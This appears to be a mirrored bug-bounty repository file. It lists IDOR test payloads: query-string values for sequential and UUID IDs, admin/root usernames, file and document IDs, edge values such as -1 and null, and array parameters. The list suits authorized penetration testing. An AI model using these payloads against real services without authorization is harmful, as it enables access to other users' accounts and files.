mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
copilot-swe-agent[bot]
ab9c127df3
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
41 lines
614 B
Plaintext
41 lines
614 B
Plaintext
# IDOR (Insecure Direct Object Reference) Payloads
|
|
|
|
# Sequential ID manipulation
|
|
?id=1
|
|
?id=2
|
|
?id=100
|
|
?id=1000
|
|
|
|
# UUID manipulation
|
|
?user_id=00000000-0000-0000-0000-000000000001
|
|
?user_id=11111111-1111-1111-1111-111111111111
|
|
|
|
# Username/email enumeration
|
|
?user=admin
|
|
?user=administrator
|
|
?user=root
|
|
?email=admin@example.com
|
|
?username=test
|
|
|
|
# File/Document IDs
|
|
?file_id=1
|
|
?doc_id=1
|
|
?document=private.pdf
|
|
?report_id=1
|
|
|
|
# Account/Profile manipulation
|
|
?account_id=1
|
|
?profile_id=1
|
|
?customer_id=1
|
|
|
|
# Negative and special values
|
|
?id=-1
|
|
?id=0
|
|
?id=999999
|
|
?id=null
|
|
?id=undefined
|
|
|
|
# Array/Multiple IDs
|
|
?id[]=1&id[]=2
|
|
?ids=1,2,3
|